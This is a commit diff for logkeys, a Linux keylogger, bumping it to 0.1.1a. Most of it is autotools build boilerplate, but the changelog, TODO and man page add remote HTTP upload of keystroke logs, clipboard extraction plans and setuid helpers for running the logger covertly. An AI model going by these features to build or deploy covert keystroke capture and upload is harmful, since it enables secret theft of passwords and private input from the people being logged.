Implemented HTTP log POSTing and IRC posting, which is undocumented as it doesn't work. This is also a 0.1.1a release.
git-svn-id: https://logkeys.googlecode.com/svn/trunk@43 c501e62c-e7d1-11de-a198-37193048d1ed
This commit is contained in:
parent
2ec46c0140
commit
0861ec3838
4
COPYING
4
COPYING
|
@ -13,3 +13,7 @@
|
|||
|
||||
0. You just DO WHAT THE FUCK YOU WANT TO.
|
||||
|
||||
|
||||
=====================================================================
|
||||
If above license terms aren't acceptable to you, consider the project
|
||||
licensed under GNU GPLv3+.
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
v0.1.1 (?)
|
||||
v0.1.1a (2010-05-31)
|
||||
* fixed 100% CPU issue on x64
|
||||
* various other bug fixes
|
||||
* removed pgrep dependency
|
||||
|
@ -6,6 +6,7 @@ v0.1.1 (?)
|
|||
* symlink attack vulnerability fixes
|
||||
* other security fixes
|
||||
* code refactoring
|
||||
* remote log uploading via HTTP
|
||||
* bug fixes
|
||||
|
||||
v0.1.0 (2010-01-05)
|
||||
|
|
17
Makefile.in
17
Makefile.in
|
@ -1,4 +1,4 @@
|
|||
# Makefile.in generated by automake 1.11 from Makefile.am.
|
||||
# Makefile.in generated by automake 1.11.1 from Makefile.am.
|
||||
# @configure_input@
|
||||
|
||||
# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
|
||||
|
@ -255,7 +255,7 @@ distclean-hdr:
|
|||
# (which will cause the Makefiles to be regenerated when you run `make');
|
||||
# (2) otherwise, pass the desired values on the `make' command line.
|
||||
$(RECURSIVE_TARGETS):
|
||||
@failcom='exit 1'; \
|
||||
@fail= failcom='exit 1'; \
|
||||
for f in x $$MAKEFLAGS; do \
|
||||
case $$f in \
|
||||
*=* | --[!k]*);; \
|
||||
|
@ -280,7 +280,7 @@ $(RECURSIVE_TARGETS):
|
|||
fi; test -z "$$fail"
|
||||
|
||||
$(RECURSIVE_CLEAN_TARGETS):
|
||||
@failcom='exit 1'; \
|
||||
@fail= failcom='exit 1'; \
|
||||
for f in x $$MAKEFLAGS; do \
|
||||
case $$f in \
|
||||
*=* | --[!k]*);; \
|
||||
|
@ -444,7 +444,8 @@ distdir: $(DISTFILES)
|
|||
fi; \
|
||||
done
|
||||
-test -n "$(am__skip_mode_fix)" \
|
||||
|| find "$(distdir)" -type d ! -perm -777 -exec chmod a+rwx {} \; -o \
|
||||
|| find "$(distdir)" -type d ! -perm -755 \
|
||||
-exec chmod u+rwx,go+rx {} \; -o \
|
||||
! -type d ! -perm -444 -links 1 -exec chmod a+r {} \; -o \
|
||||
! -type d ! -perm -400 -exec chmod a+r {} \; -o \
|
||||
! -type d ! -perm -444 -exec $(install_sh) -c -m a+r {} {} \; \
|
||||
|
@ -488,17 +489,17 @@ dist dist-all: distdir
|
|||
distcheck: dist
|
||||
case '$(DIST_ARCHIVES)' in \
|
||||
*.tar.gz*) \
|
||||
GZIP=$(GZIP_ENV) gunzip -c $(distdir).tar.gz | $(am__untar) ;;\
|
||||
GZIP=$(GZIP_ENV) gzip -dc $(distdir).tar.gz | $(am__untar) ;;\
|
||||
*.tar.bz2*) \
|
||||
bunzip2 -c $(distdir).tar.bz2 | $(am__untar) ;;\
|
||||
bzip2 -dc $(distdir).tar.bz2 | $(am__untar) ;;\
|
||||
*.tar.lzma*) \
|
||||
unlzma -c $(distdir).tar.lzma | $(am__untar) ;;\
|
||||
lzma -dc $(distdir).tar.lzma | $(am__untar) ;;\
|
||||
*.tar.xz*) \
|
||||
xz -dc $(distdir).tar.xz | $(am__untar) ;;\
|
||||
*.tar.Z*) \
|
||||
uncompress -c $(distdir).tar.Z | $(am__untar) ;;\
|
||||
*.shar.gz*) \
|
||||
GZIP=$(GZIP_ENV) gunzip -c $(distdir).shar.gz | unshar ;;\
|
||||
GZIP=$(GZIP_ENV) gzip -dc $(distdir).shar.gz | unshar ;;\
|
||||
*.zip*) \
|
||||
unzip $(distdir).zip ;;\
|
||||
esac
|
||||
|
|
6
TODO
6
TODO
|
@ -1,6 +1,8 @@
|
|||
|
||||
-> Add support for sending logs via mail or POSTing them to remote server.
|
||||
-> Add support for sending logs via mail or POSTing them to remote server
|
||||
|
||||
-> Also log title of the focused window
|
||||
|
||||
-> Add support for mouse events (i.e. on mouse click the focus may have changed).
|
||||
-> Extract clipboard contents
|
||||
|
||||
-> Add support for mouse events (i.e. on mouse click the focus may have changed)
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# generated automatically by aclocal 1.11 -*- Autoconf -*-
|
||||
# generated automatically by aclocal 1.11.1 -*- Autoconf -*-
|
||||
|
||||
# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004,
|
||||
# 2005, 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
|
||||
|
@ -13,8 +13,8 @@
|
|||
|
||||
m4_ifndef([AC_AUTOCONF_VERSION],
|
||||
[m4_copy([m4_PACKAGE_VERSION], [AC_AUTOCONF_VERSION])])dnl
|
||||
m4_if(m4_defn([AC_AUTOCONF_VERSION]), [2.64],,
|
||||
[m4_warning([this file was generated for autoconf 2.64.
|
||||
m4_if(m4_defn([AC_AUTOCONF_VERSION]), [2.65],,
|
||||
[m4_warning([this file was generated for autoconf 2.65.
|
||||
You have another version of autoconf. It may work, but is not guaranteed to.
|
||||
If you have problems, you may need to regenerate the build system entirely.
|
||||
To do so, use the procedure documented by the package, typically `autoreconf'.])])
|
||||
|
@ -34,7 +34,7 @@ AC_DEFUN([AM_AUTOMAKE_VERSION],
|
|||
[am__api_version='1.11'
|
||||
dnl Some users find AM_AUTOMAKE_VERSION and mistake it for a way to
|
||||
dnl require some minimum version. Point them to the right macro.
|
||||
m4_if([$1], [1.11], [],
|
||||
m4_if([$1], [1.11.1], [],
|
||||
[AC_FATAL([Do not call $0, use AM_INIT_AUTOMAKE([$1]).])])dnl
|
||||
])
|
||||
|
||||
|
@ -50,7 +50,7 @@ m4_define([_AM_AUTOCONF_VERSION], [])
|
|||
# Call AM_AUTOMAKE_VERSION and AM_AUTOMAKE_VERSION so they can be traced.
|
||||
# This function is AC_REQUIREd by AM_INIT_AUTOMAKE.
|
||||
AC_DEFUN([AM_SET_CURRENT_AUTOMAKE_VERSION],
|
||||
[AM_AUTOMAKE_VERSION([1.11])dnl
|
||||
[AM_AUTOMAKE_VERSION([1.11.1])dnl
|
||||
m4_ifndef([AC_AUTOCONF_VERSION],
|
||||
[m4_copy([m4_PACKAGE_VERSION], [AC_AUTOCONF_VERSION])])dnl
|
||||
_AM_AUTOCONF_VERSION(m4_defn([AC_AUTOCONF_VERSION]))])
|
||||
|
|
|
@ -1,12 +1,14 @@
|
|||
#! /bin/sh
|
||||
# Guess values for system-dependent variables and create Makefiles.
|
||||
# Generated by GNU Autoconf 2.64 for logkeys 0.1.0.
|
||||
# Generated by GNU Autoconf 2.65 for logkeys 0.1.1a.
|
||||
#
|
||||
# Report bugs to <kerncece+logkeys@gmail.com>.
|
||||
#
|
||||
#
|
||||
# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1998, 1999, 2000, 2001,
|
||||
# 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009 Free Software
|
||||
# Foundation, Inc.
|
||||
# 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009 Free Software Foundation,
|
||||
# Inc.
|
||||
#
|
||||
#
|
||||
# This configure script is free software; the Free Software Foundation
|
||||
# gives unlimited permission to copy, distribute and modify it.
|
||||
|
@ -527,7 +529,8 @@ as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'"
|
|||
as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'"
|
||||
|
||||
|
||||
exec 7<&0 </dev/null 6>&1
|
||||
test -n "$DJDIR" || exec 7<&0 </dev/null
|
||||
exec 6>&1
|
||||
|
||||
# Name of the host.
|
||||
# hostname on some systems (SVR3.2, Linux) returns a bogus exit status,
|
||||
|
@ -549,8 +552,8 @@ MAKEFLAGS=
|
|||
# Identity of this package.
|
||||
PACKAGE_NAME='logkeys'
|
||||
PACKAGE_TARNAME='logkeys'
|
||||
PACKAGE_VERSION='0.1.0'
|
||||
PACKAGE_STRING='logkeys 0.1.0'
|
||||
PACKAGE_VERSION='0.1.1a'
|
||||
PACKAGE_STRING='logkeys 0.1.1a'
|
||||
PACKAGE_BUGREPORT='kerncece+logkeys@gmail.com'
|
||||
PACKAGE_URL='http://code.google.com/p/logkeys/'
|
||||
|
||||
|
@ -1235,7 +1238,7 @@ if test "$ac_init_help" = "long"; then
|
|||
# Omit some internal or obsolete options to make the list less imposing.
|
||||
# This message is too long to be a string in the A/UX 3.1 sh.
|
||||
cat <<_ACEOF
|
||||
\`configure' configures logkeys 0.1.0 to adapt to many kinds of systems.
|
||||
\`configure' configures logkeys 0.1.1a to adapt to many kinds of systems.
|
||||
|
||||
Usage: $0 [OPTION]... [VAR=VALUE]...
|
||||
|
||||
|
@ -1301,7 +1304,7 @@ fi
|
|||
|
||||
if test -n "$ac_init_help"; then
|
||||
case $ac_init_help in
|
||||
short | recursive ) echo "Configuration of logkeys 0.1.0:";;
|
||||
short | recursive ) echo "Configuration of logkeys 0.1.1a:";;
|
||||
esac
|
||||
cat <<\_ACEOF
|
||||
|
||||
|
@ -1318,7 +1321,7 @@ Some influential environment variables:
|
|||
LDFLAGS linker flags, e.g. -L<lib dir> if you have libraries in a
|
||||
nonstandard directory <lib dir>
|
||||
LIBS libraries to pass to the linker, e.g. -l<library>
|
||||
CPPFLAGS C/C++/Objective C preprocessor flags, e.g. -I<include dir> if
|
||||
CPPFLAGS (Objective) C/C++ preprocessor flags, e.g. -I<include dir> if
|
||||
you have headers in a nonstandard directory <include dir>
|
||||
CXXCPP C++ preprocessor
|
||||
|
||||
|
@ -1389,8 +1392,8 @@ fi
|
|||
test -n "$ac_init_help" && exit $ac_status
|
||||
if $ac_init_version; then
|
||||
cat <<\_ACEOF
|
||||
logkeys configure 0.1.0
|
||||
generated by GNU Autoconf 2.64
|
||||
logkeys configure 0.1.1a
|
||||
generated by GNU Autoconf 2.65
|
||||
|
||||
Copyright (C) 2009 Free Software Foundation, Inc.
|
||||
This configure script is free software; the Free Software Foundation
|
||||
|
@ -1437,7 +1440,7 @@ sed 's/^/| /' conftest.$ac_ext >&5
|
|||
ac_retval=1
|
||||
fi
|
||||
eval $as_lineno_stack; test "x$as_lineno_stack" = x && { as_lineno=; unset as_lineno;}
|
||||
return $ac_retval
|
||||
as_fn_set_status $ac_retval
|
||||
|
||||
} # ac_fn_cxx_try_compile
|
||||
|
||||
|
@ -1474,7 +1477,7 @@ sed 's/^/| /' conftest.$ac_ext >&5
|
|||
ac_retval=1
|
||||
fi
|
||||
eval $as_lineno_stack; test "x$as_lineno_stack" = x && { as_lineno=; unset as_lineno;}
|
||||
return $ac_retval
|
||||
as_fn_set_status $ac_retval
|
||||
|
||||
} # ac_fn_cxx_try_cpp
|
||||
|
||||
|
@ -1609,7 +1612,7 @@ sed 's/^/| /' conftest.$ac_ext >&5
|
|||
fi
|
||||
rm -rf conftest.dSYM conftest_ipa8_conftest.oo
|
||||
eval $as_lineno_stack; test "x$as_lineno_stack" = x && { as_lineno=; unset as_lineno;}
|
||||
return $ac_retval
|
||||
as_fn_set_status $ac_retval
|
||||
|
||||
} # ac_fn_cxx_try_run
|
||||
|
||||
|
@ -1740,7 +1743,7 @@ fi
|
|||
# left behind by Apple's compiler. We do this before executing the actions.
|
||||
rm -rf conftest.dSYM conftest_ipa8_conftest.oo
|
||||
eval $as_lineno_stack; test "x$as_lineno_stack" = x && { as_lineno=; unset as_lineno;}
|
||||
return $ac_retval
|
||||
as_fn_set_status $ac_retval
|
||||
|
||||
} # ac_fn_cxx_try_link
|
||||
|
||||
|
@ -1814,8 +1817,8 @@ cat >config.log <<_ACEOF
|
|||
This file contains any messages produced by compilers while
|
||||
running configure, to aid debugging if configure makes a mistake.
|
||||
|
||||
It was created by logkeys $as_me 0.1.0, which was
|
||||
generated by GNU Autoconf 2.64. Invocation command line was
|
||||
It was created by logkeys $as_me 0.1.1a, which was
|
||||
generated by GNU Autoconf 2.65. Invocation command line was
|
||||
|
||||
$ $0 $@
|
||||
|
||||
|
@ -2068,7 +2071,7 @@ fi
|
|||
for ac_site_file in "$ac_site_file1" "$ac_site_file2"
|
||||
do
|
||||
test "x$ac_site_file" = xNONE && continue
|
||||
if test -r "$ac_site_file"; then
|
||||
if test /dev/null != "$ac_site_file" && test -r "$ac_site_file"; then
|
||||
{ $as_echo "$as_me:${as_lineno-$LINENO}: loading site script $ac_site_file" >&5
|
||||
$as_echo "$as_me: loading site script $ac_site_file" >&6;}
|
||||
sed 's/^/| /' "$ac_site_file" >&5
|
||||
|
@ -2077,9 +2080,9 @@ $as_echo "$as_me: loading site script $ac_site_file" >&6;}
|
|||
done
|
||||
|
||||
if test -r "$cache_file"; then
|
||||
# Some versions of bash will fail to source /dev/null (special
|
||||
# files actually), so we avoid doing that.
|
||||
if test -f "$cache_file"; then
|
||||
# Some versions of bash will fail to source /dev/null (special files
|
||||
# actually), so we avoid doing that. DJGPP emulates it as a regular file.
|
||||
if test /dev/null != "$cache_file" && test -f "$cache_file"; then
|
||||
{ $as_echo "$as_me:${as_lineno-$LINENO}: loading cache $cache_file" >&5
|
||||
$as_echo "$as_me: loading cache $cache_file" >&6;}
|
||||
case $cache_file in
|
||||
|
@ -2499,6 +2502,7 @@ IFS=$as_save_IFS
|
|||
|
||||
fi
|
||||
|
||||
test -d ./--version && rmdir ./--version
|
||||
if test "${ac_cv_path_mkdir+set}" = set; then
|
||||
MKDIR_P="$ac_cv_path_mkdir -p"
|
||||
else
|
||||
|
@ -2506,7 +2510,6 @@ fi
|
|||
# value for MKDIR_P within a source directory, because that will
|
||||
# break other packages using the cache if that directory is
|
||||
# removed, or if the value is a relative name.
|
||||
test -d ./--version && rmdir ./--version
|
||||
MKDIR_P="$ac_install_sh -d"
|
||||
fi
|
||||
fi
|
||||
|
@ -2623,7 +2626,7 @@ fi
|
|||
|
||||
# Define the identity of the package.
|
||||
PACKAGE='logkeys'
|
||||
VERSION='0.1.0'
|
||||
VERSION='0.1.1a'
|
||||
|
||||
|
||||
cat >>confdefs.h <<_ACEOF
|
||||
|
@ -2798,32 +2801,30 @@ $as_echo "$ac_try_echo"; } >&5
|
|||
... rest of stderr output deleted ...
|
||||
10q' conftest.err >conftest.er1
|
||||
cat conftest.er1 >&5
|
||||
rm -f conftest.er1 conftest.err
|
||||
fi
|
||||
rm -f conftest.er1 conftest.err
|
||||
$as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
|
||||
test $ac_status = 0; }
|
||||
done
|
||||
|
||||
cat confdefs.h - <<_ACEOF >conftest.$ac_ext
|
||||
/* end confdefs.h. */
|
||||
#include <stdio.h>
|
||||
|
||||
int
|
||||
main ()
|
||||
{
|
||||
FILE *f = fopen ("conftest.out", "w");
|
||||
return ferror (f) || fclose (f) != 0;
|
||||
|
||||
;
|
||||
return 0;
|
||||
}
|
||||
_ACEOF
|
||||
ac_clean_files_save=$ac_clean_files
|
||||
ac_clean_files="$ac_clean_files a.out a.out.dSYM a.exe b.out conftest.out"
|
||||
ac_clean_files="$ac_clean_files a.out a.out.dSYM a.exe b.out"
|
||||
# Try to create an executable without -o first, disregard a.out.
|
||||
# It will help us diagnose broken compilers, and finding out an intuition
|
||||
# of exeext.
|
||||
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for C++ compiler default output file name" >&5
|
||||
$as_echo_n "checking for C++ compiler default output file name... " >&6; }
|
||||
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the C++ compiler works" >&5
|
||||
$as_echo_n "checking whether the C++ compiler works... " >&6; }
|
||||
ac_link_default=`$as_echo "$ac_link" | sed 's/ -o *conftest[^ ]*//'`
|
||||
|
||||
# The possible output files:
|
||||
|
@ -2885,10 +2886,10 @@ test "$ac_cv_exeext" = no && ac_cv_exeext=
|
|||
else
|
||||
ac_file=''
|
||||
fi
|
||||
{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_file" >&5
|
||||
$as_echo "$ac_file" >&6; }
|
||||
if test -z "$ac_file"; then :
|
||||
$as_echo "$as_me: failed program was:" >&5
|
||||
{ $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
|
||||
$as_echo "no" >&6; }
|
||||
$as_echo "$as_me: failed program was:" >&5
|
||||
sed 's/^/| /' conftest.$ac_ext >&5
|
||||
|
||||
{ { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5
|
||||
|
@ -2896,51 +2897,18 @@ $as_echo "$as_me: error: in \`$ac_pwd':" >&2;}
|
|||
{ as_fn_set_status 77
|
||||
as_fn_error "C++ compiler cannot create executables
|
||||
See \`config.log' for more details." "$LINENO" 5; }; }
|
||||
else
|
||||
{ $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
|
||||
$as_echo "yes" >&6; }
|
||||
fi
|
||||
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for C++ compiler default output file name" >&5
|
||||
$as_echo_n "checking for C++ compiler default output file name... " >&6; }
|
||||
{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_file" >&5
|
||||
$as_echo "$ac_file" >&6; }
|
||||
ac_exeext=$ac_cv_exeext
|
||||
|
||||
# Check that the compiler produces executables we can run. If not, either
|
||||
# the compiler is broken, or we cross compile.
|
||||
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the C++ compiler works" >&5
|
||||
$as_echo_n "checking whether the C++ compiler works... " >&6; }
|
||||
# If not cross compiling, check that we can run a simple program.
|
||||
if test "$cross_compiling" != yes; then
|
||||
if { ac_try='./$ac_file'
|
||||
{ { case "(($ac_try" in
|
||||
*\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
|
||||
*) ac_try_echo=$ac_try;;
|
||||
esac
|
||||
eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
|
||||
$as_echo "$ac_try_echo"; } >&5
|
||||
(eval "$ac_try") 2>&5
|
||||
ac_status=$?
|
||||
$as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
|
||||
test $ac_status = 0; }; }; then
|
||||
cross_compiling=no
|
||||
else
|
||||
if test "$cross_compiling" = maybe; then
|
||||
cross_compiling=yes
|
||||
else
|
||||
{ { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5
|
||||
$as_echo "$as_me: error: in \`$ac_pwd':" >&2;}
|
||||
as_fn_error "cannot run C++ compiled programs.
|
||||
If you meant to cross compile, use \`--host'.
|
||||
See \`config.log' for more details." "$LINENO" 5; }
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
{ $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5
|
||||
$as_echo "yes" >&6; }
|
||||
|
||||
rm -f -r a.out a.out.dSYM a.exe conftest$ac_cv_exeext b.out conftest.out
|
||||
rm -f -r a.out a.out.dSYM a.exe conftest$ac_cv_exeext b.out
|
||||
ac_clean_files=$ac_clean_files_save
|
||||
# Check that the compiler produces executables we can run. If not, either
|
||||
# the compiler is broken, or we cross compile.
|
||||
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether we are cross compiling" >&5
|
||||
$as_echo_n "checking whether we are cross compiling... " >&6; }
|
||||
{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $cross_compiling" >&5
|
||||
$as_echo "$cross_compiling" >&6; }
|
||||
|
||||
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for suffix of executables" >&5
|
||||
$as_echo_n "checking for suffix of executables... " >&6; }
|
||||
if { { ac_try="$ac_link"
|
||||
|
@ -2973,13 +2941,72 @@ $as_echo "$as_me: error: in \`$ac_pwd':" >&2;}
|
|||
as_fn_error "cannot compute suffix of executables: cannot compile and link
|
||||
See \`config.log' for more details." "$LINENO" 5; }
|
||||
fi
|
||||
rm -f conftest$ac_cv_exeext
|
||||
rm -f conftest conftest$ac_cv_exeext
|
||||
{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_exeext" >&5
|
||||
$as_echo "$ac_cv_exeext" >&6; }
|
||||
|
||||
rm -f conftest.$ac_ext
|
||||
EXEEXT=$ac_cv_exeext
|
||||
ac_exeext=$EXEEXT
|
||||
cat confdefs.h - <<_ACEOF >conftest.$ac_ext
|
||||
/* end confdefs.h. */
|
||||
#include <stdio.h>
|
||||
int
|
||||
main ()
|
||||
{
|
||||
FILE *f = fopen ("conftest.out", "w");
|
||||
return ferror (f) || fclose (f) != 0;
|
||||
|
||||
;
|
||||
return 0;
|
||||
}
|
||||
_ACEOF
|
||||
ac_clean_files="$ac_clean_files conftest.out"
|
||||
# Check that the compiler produces executables we can run. If not, either
|
||||
# the compiler is broken, or we cross compile.
|
||||
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether we are cross compiling" >&5
|
||||
$as_echo_n "checking whether we are cross compiling... " >&6; }
|
||||
if test "$cross_compiling" != yes; then
|
||||
{ { ac_try="$ac_link"
|
||||
case "(($ac_try" in
|
||||
*\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
|
||||
*) ac_try_echo=$ac_try;;
|
||||
esac
|
||||
eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
|
||||
$as_echo "$ac_try_echo"; } >&5
|
||||
(eval "$ac_link") 2>&5
|
||||
ac_status=$?
|
||||
$as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
|
||||
test $ac_status = 0; }
|
||||
if { ac_try='./conftest$ac_cv_exeext'
|
||||
{ { case "(($ac_try" in
|
||||
*\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
|
||||
*) ac_try_echo=$ac_try;;
|
||||
esac
|
||||
eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
|
||||
$as_echo "$ac_try_echo"; } >&5
|
||||
(eval "$ac_try") 2>&5
|
||||
ac_status=$?
|
||||
$as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
|
||||
test $ac_status = 0; }; }; then
|
||||
cross_compiling=no
|
||||
else
|
||||
if test "$cross_compiling" = maybe; then
|
||||
cross_compiling=yes
|
||||
else
|
||||
{ { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5
|
||||
$as_echo "$as_me: error: in \`$ac_pwd':" >&2;}
|
||||
as_fn_error "cannot run C++ compiled programs.
|
||||
If you meant to cross compile, use \`--host'.
|
||||
See \`config.log' for more details." "$LINENO" 5; }
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $cross_compiling" >&5
|
||||
$as_echo "$cross_compiling" >&6; }
|
||||
|
||||
rm -f conftest.$ac_ext conftest$ac_cv_exeext conftest.out
|
||||
ac_clean_files=$ac_clean_files_save
|
||||
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for suffix of object files" >&5
|
||||
$as_echo_n "checking for suffix of object files... " >&6; }
|
||||
if test "${ac_cv_objext+set}" = set; then :
|
||||
|
@ -4995,8 +5022,8 @@ cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1
|
|||
# report actual input values of CONFIG_FILES etc. instead of their
|
||||
# values after options handling.
|
||||
ac_log="
|
||||
This file was extended by logkeys $as_me 0.1.0, which was
|
||||
generated by GNU Autoconf 2.64. Invocation command line was
|
||||
This file was extended by logkeys $as_me 0.1.1a, which was
|
||||
generated by GNU Autoconf 2.65. Invocation command line was
|
||||
|
||||
CONFIG_FILES = $CONFIG_FILES
|
||||
CONFIG_HEADERS = $CONFIG_HEADERS
|
||||
|
@ -5036,6 +5063,7 @@ Usage: $0 [OPTION]... [TAG]...
|
|||
|
||||
-h, --help print this help, then exit
|
||||
-V, --version print version number and configuration settings, then exit
|
||||
--config print configuration, then exit
|
||||
-q, --quiet, --silent
|
||||
do not print progress messages
|
||||
-d, --debug don't remove temporary files
|
||||
|
@ -5059,10 +5087,11 @@ logkeys home page: <http://code.google.com/p/logkeys/>."
|
|||
|
||||
_ACEOF
|
||||
cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1
|
||||
ac_cs_config="`$as_echo "$ac_configure_args" | sed 's/^ //; s/[\\""\`\$]/\\\\&/g'`"
|
||||
ac_cs_version="\\
|
||||
logkeys config.status 0.1.0
|
||||
configured by $0, generated by GNU Autoconf 2.64,
|
||||
with options \\"`$as_echo "$ac_configure_args" | sed 's/^ //; s/[\\""\`\$]/\\\\&/g'`\\"
|
||||
logkeys config.status 0.1.1a
|
||||
configured by $0, generated by GNU Autoconf 2.65,
|
||||
with options \\"\$ac_cs_config\\"
|
||||
|
||||
Copyright (C) 2009 Free Software Foundation, Inc.
|
||||
This config.status script is free software; the Free Software Foundation
|
||||
|
@ -5100,6 +5129,8 @@ do
|
|||
ac_cs_recheck=: ;;
|
||||
--version | --versio | --versi | --vers | --ver | --ve | --v | -V )
|
||||
$as_echo "$ac_cs_version"; exit ;;
|
||||
--config | --confi | --conf | --con | --co | --c )
|
||||
$as_echo "$ac_cs_config"; exit ;;
|
||||
--debug | --debu | --deb | --de | --d | -d )
|
||||
debug=: ;;
|
||||
--file | --fil | --fi | --f )
|
||||
|
@ -5290,7 +5321,7 @@ s/'"$ac_delim"'$//
|
|||
t delim
|
||||
:nl
|
||||
h
|
||||
s/\(.\{148\}\).*/\1/
|
||||
s/\(.\{148\}\)..*/\1/
|
||||
t more1
|
||||
s/["\\]/\\&/g; s/^/"/; s/$/\\n"\\/
|
||||
p
|
||||
|
@ -5304,7 +5335,7 @@ s/.\{148\}//
|
|||
t nl
|
||||
:delim
|
||||
h
|
||||
s/\(.\{148\}\).*/\1/
|
||||
s/\(.\{148\}\)..*/\1/
|
||||
t more2
|
||||
s/["\\]/\\&/g; s/^/"/; s/$/"/
|
||||
p
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
# Process this file with autoconf to produce a configure script.
|
||||
|
||||
AC_PREREQ(2.64)
|
||||
AC_INIT([logkeys],[0.1.0],[kerncece+logkeys@gmail.com],[],[http://code.google.com/p/logkeys/])
|
||||
AC_INIT([logkeys],[0.1.1a],[kerncece+logkeys@gmail.com],[],[http://code.google.com/p/logkeys/])
|
||||
AC_CONFIG_SRCDIR([src/logkeys.cc])
|
||||
AM_INIT_AUTOMAKE([-Wall foreign])
|
||||
AC_CONFIG_HEADERS([config.h])
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Makefile.in generated by automake 1.11 from Makefile.am.
|
||||
# Makefile.in generated by automake 1.11.1 from Makefile.am.
|
||||
# @configure_input@
|
||||
|
||||
# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
|
||||
|
|
|
@ -1,15 +1,18 @@
|
|||
.TH logkeys 8 2009-12-13
|
||||
.TH logkeys 8 2010-05-25
|
||||
.SH NAME
|
||||
logkeys \- a GNU/Linux keylogger that works!
|
||||
.SH SYNOPSIS
|
||||
.B logkeys
|
||||
\fB-s\fR [\fB-m \fIkeymap\fR|\fB-u\fR] [\fB-o \fIlogfile\fR] [\fB-d \fIdevice\fR] [\fB--no-func-keys\fR]
|
||||
.B logkeys \fB-s\fR [\fB-m \fIkeymap\fR|\fB-u\fR] [\fB-o \fIlogfile\fR] [\fB-d \fIdevice\fR]
|
||||
.br
|
||||
.B logkeys
|
||||
\fB-k\fR
|
||||
[\fB--no-func-keys\fR] [\fB--no-timestamps\fR]
|
||||
.br
|
||||
.B logkeys
|
||||
[\fB--export-keymap=\fIkeymap\fR]
|
||||
[\fB--post-size=\fISIZE\fR] [\fB--post-http=\fIURL\fR]
|
||||
.br
|
||||
.B logkeys \fB-k\fR
|
||||
.br
|
||||
.B logkeys [\fB--export-keymap=\fIkeymap\fR]
|
||||
|
||||
|
||||
.SH DESCRIPTION
|
||||
logkeys is a linux keylogger. It is no more advanced than other available linux
|
||||
keyloggers, notably \fBlkl\fR and \fBuberkey\fR, but is a bit newer, more up to date, it
|
||||
|
@ -27,14 +30,19 @@ Two helper \fBsetuid root\fR programs are shipped with logkeys. \fIllk\fR, which
|
|||
Because llk and llkk are installed setuid root, you can edit the two .sh scripts
|
||||
(mostly just logkeys-start.sh) to your preference, then issue logkeys via llk whenever
|
||||
you have to run it covertly (e.g. when you don't want to su to root or type sudo password).
|
||||
|
||||
|
||||
.SH OPTIONS
|
||||
Non-optional arguments are required for short options too.
|
||||
|
||||
.TP
|
||||
\fB-s\fR, \fB-\-start\fR
|
||||
Starts the keylogging daemon process.
|
||||
|
||||
.TP
|
||||
\fB-k\fR, \fB-\-kill\fR
|
||||
Terminates the running logkeys process.
|
||||
|
||||
.TP
|
||||
\fB-o\fR, \fB-\-output\fR=\fIlogfile\fR
|
||||
Set ouput log file to \fIlogfile\fR. If no \fB-o\fR option is provided, logkeys
|
||||
|
@ -42,6 +50,7 @@ appends to \fI/var/log/logkeys.log\fR file. If \fIlogfile\fR doesn't exist, logk
|
|||
creates the file with 600 permissions.
|
||||
.IP
|
||||
See also \fBLOGFILE FORMAT\fR section.
|
||||
|
||||
.TP
|
||||
\fB-m\fR, \fB-\-keymap\fR=\fIkeymap\fR
|
||||
Use file \fIkeymap\fR as input keymap for processing pressed keys.
|
||||
|
@ -52,16 +61,19 @@ previously exported by \fB--export-keymap\fR.
|
|||
See also \fBKEYMAP FORMAT\fR section.
|
||||
.IP
|
||||
\fB-m\fR and \fB-u\fR option are mutually exclusive.
|
||||
|
||||
.TP
|
||||
\fB-d\fR, \fB-\-device\fR=\fIdevice\fR
|
||||
